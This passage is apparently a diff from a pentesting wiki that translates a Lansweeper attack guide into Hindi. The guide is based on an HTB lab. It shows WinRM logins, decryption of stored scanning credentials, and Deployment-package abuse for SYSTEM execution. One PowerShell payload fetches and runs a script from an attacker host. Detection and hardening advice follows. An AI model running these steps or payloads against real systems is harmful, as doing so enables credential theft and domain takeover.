```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
टिप: Kerberos ऑपरेशंस समय-संवेदी होते हैं। यदि आपको KRB_AP_ERR_SKEW मिलता है, तो पहले DC के साथ समय समन्वय करें:
|
||||
टिप: Kerberos संचालन समय-संवेदी होते हैं। अगर आपको KRB_AP_ERR_SKEW मिलता है, तो पहले DC के साथ समय समन्वय (sync) करें:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) Decrypt Lansweeper-configured secrets on the host
|
||||
|
||||
Lansweeper सर्वर पर, ASP.NET साइट आमतौर पर एक encrypted connection string और उस एप्लिकेशन द्वारा उपयोग की गई symmetric key संग्रहीत करती है। उपयुक्त लोकल एक्सेस होने पर, आप DB connection string को डिक्रिप्ट कर सकते हैं और फिर स्टोर्ड scanning credentials को निकाल सकते हैं।
|
||||
Lansweeper सर्वर पर, ASP.NET साइट आमतौर पर एप्लिकेशन द्वारा उपयोग किए जाने वाले एक encrypted connection string और एक symmetric key को स्टोर करती है। उपयुक्त लोकल एक्सेस होने पर, आप DB connection string को decrypt करके स्टोर किए गए scanning credentials निकाल सकते हैं।
|
||||
|
||||
Typical locations:
|
||||
- सामान्य स्थान:
|
||||
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
stored creds के डिक्रिप्शन और dumping को ऑटोमेट करने के लिए SharpLansweeperDecrypt का उपयोग करें:
|
||||
SharpLansweeperDecrypt का उपयोग स्टोर किए गए creds को ऑटोमेटिकली decrypt और dump करने के लिए करें:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
@ -99,26 +99,26 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
अपेक्षित आउटपुट में DB connection details और plaintext scanning credentials शामिल होते हैं, जैसे कि पूरे estate में उपयोग किए जाने वाले Windows और Linux खाते। ये अक्सर domain hosts पर उच्च स्थानीय अधिकार रखते हैं:
|
||||
अपेक्षित आउटपुट में DB connection details और plaintext scanning credentials जैसे पूरे estate में उपयोग किए जाने वाले Windows और Linux खाते शामिल होते हैं। ये अक्सर domain hosts पर elevated local rights रखते हैं:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
पुनर्प्राप्त Windows scanning creds का उपयोग privileged access के लिए करें:
|
||||
विशेषाधिकार प्राप्त पहुँच के लिए पुनर्प्राप्त Windows scanning creds का उपयोग करें:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
## 4) Lansweeper Deployment → SYSTEM RCE
|
||||
|
||||
“As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
|
||||
“Lansweeper Admins” के सदस्य के रूप में, वेब UI में Deployment और Configuration उपलब्ध हैं। Deployment → Deployment packages के अंतर्गत, आप ऐसे packages बना सकते हैं जो लक्षित assets पर arbitrary commands चलाते हैं। निष्पादन Lansweeper service द्वारा उच्च privileges के साथ किया जाता है, जिससे चुने हुए host पर NT AUTHORITY\SYSTEM के रूप में code execution मिलती है।
|
||||
|
||||
High-level steps:
|
||||
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
|
||||
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
|
||||
- Catch your shell as SYSTEM.
|
||||
- एक नया Deployment package बनाएं जो PowerShell या cmd one-liner चलाए (reverse shell, add-user, etc.).
|
||||
- इच्छित asset (e.g., the DC/host where Lansweeper runs) को लक्ष्य करें और Deploy/Run now पर क्लिक करें।
|
||||
- अपने shell को SYSTEM के रूप में पकड़ें।
|
||||
|
||||
Example payloads (PowerShell):
|
||||
उदाहरण payloads (PowerShell):
|
||||
```powershell
|
||||
# Simple test
|
||||
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
@ -127,15 +127,15 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. सोच-समझ कर उपयोग करें।
|
||||
- डिप्लॉयमेंट क्रियाएँ शोर करती हैं और Lansweeper तथा Windows event logs में लॉग छोड़ती हैं। सावधानी से उपयोग करें।
|
||||
|
||||
## डिटेक्शन और हार्डेनिंग
|
||||
## डिटेक्शन और हार्डनिंग
|
||||
|
||||
- Restrict or remove anonymous SMB enumerations. RID cycling और Lansweeper shares तक असामान्य पहुँच की निगरानी करें।
|
||||
- Egress controls: scanner hosts से outbound SSH/SMB/WinRM को ब्लॉक या कड़ी सीमाएँ लागू करें। गैर-मानक पोर्ट्स (e.g., 2022) और Rebex जैसे असामान्य क्लाइंट बैनरों पर अलर्ट करें।
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`. रहस्यों को vault में बाहर रखें और उजागर होने पर रोटेट करें। जहाँ संभव हो, न्यूनतम विशेषाधिकार वाले service accounts और gMSA पर विचार करें।
|
||||
- AD monitoring: Lansweeper-related groups (e.g., “Lansweeper Admins”, “Remote Management Users”) में बदलाव पर और privileged groups को GenericAll/Write सदस्यता देने वाले ACL परिवर्तनों पर अलर्ट करें।
|
||||
- Deployment पैकेजों की creations/changes/executions का ऑडिट करें; उन पैकेजों पर अलर्ट करें जो cmd.exe/powershell.exe को spawn करते हैं या अप्रत्याशित आउटबाउंड कनेक्शन्स बनाते हैं।
|
||||
- अनाम SMB enumerations को सीमित या हटा दें। RID cycling और Lansweeper shares तक असामान्य पहुँच के लिए निगरानी रखें।
|
||||
- Egress controls: scanner hosts से outbound SSH/SMB/WinRM को ब्लॉक या कड़ाई से सीमित करें। non-standard ports (e.g., 2022) और Rebex जैसे असामान्य client banners पर अलर्ट रखें।
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`. secrets को vault में बाहरीकरण करें और एक्सपोज़ होने पर रोटेट करें। जहाँ संभव हो, न्यूनतम privileges वाले service accounts और gMSA पर विचार करें।
|
||||
- AD monitoring: Lansweeper-संबंधित groups (उदा., “Lansweeper Admins”, “Remote Management Users”) में बदलावों पर अलर्ट करें और privileged groups पर GenericAll/Write सदस्यता देने वाले ACL परिवर्तनों पर निगरानी रखें।
|
||||
- Deployment package के निर्माण/परिवर्तन/निष्पादन का ऑडिट करें; उन पैकेजों पर अलर्ट करें जो cmd.exe/powershell.exe लॉन्च करते हैं या अनपेक्षित outbound कनेक्शनों को आरंभ करते हैं।
|
||||
|
||||
## संबंधित विषय
|
||||
- SMB/LSA/SAMR enumeration and RID cycling
|
||||
@ -143,7 +143,7 @@ OPSEC
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM usage and lateral movement
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
|
Loading…
x
Reference in New Issue
Block a user